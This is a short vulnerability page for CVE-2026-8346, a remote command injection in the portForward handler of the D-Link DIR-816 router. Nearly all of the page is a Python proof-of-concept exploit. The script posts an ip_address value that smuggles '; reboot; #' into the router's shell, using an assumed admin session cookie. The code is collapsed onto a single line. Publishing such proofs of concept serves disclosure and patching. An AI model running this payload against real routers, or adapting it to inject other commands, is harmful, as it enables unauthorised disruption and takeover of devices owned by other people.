CVE-2026-8346 D-Link DIR-816 portForward函数远程命令注入漏洞

import requests # Target URL configuration target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/portForward" # Attacker's IP address followed by a command injection payload # Example: Reboot the device or execute a simple shell command # Using ';' to separate the intended value from the injected command payload = "192.168.0.100; reboot; #" # Prepare data data = { "ip_address": payload, # Other required parameters might be needed depending on the specific endpoint implementation # "action": "add", # "port": "8080" } # Send the request (Authentication cookie might be required as PR:L) # Assuming session cookie is obtained via login cookies = { "uid": "admin_session_id" } try: response = requests.post(url, data=data, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the device rebooted or command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")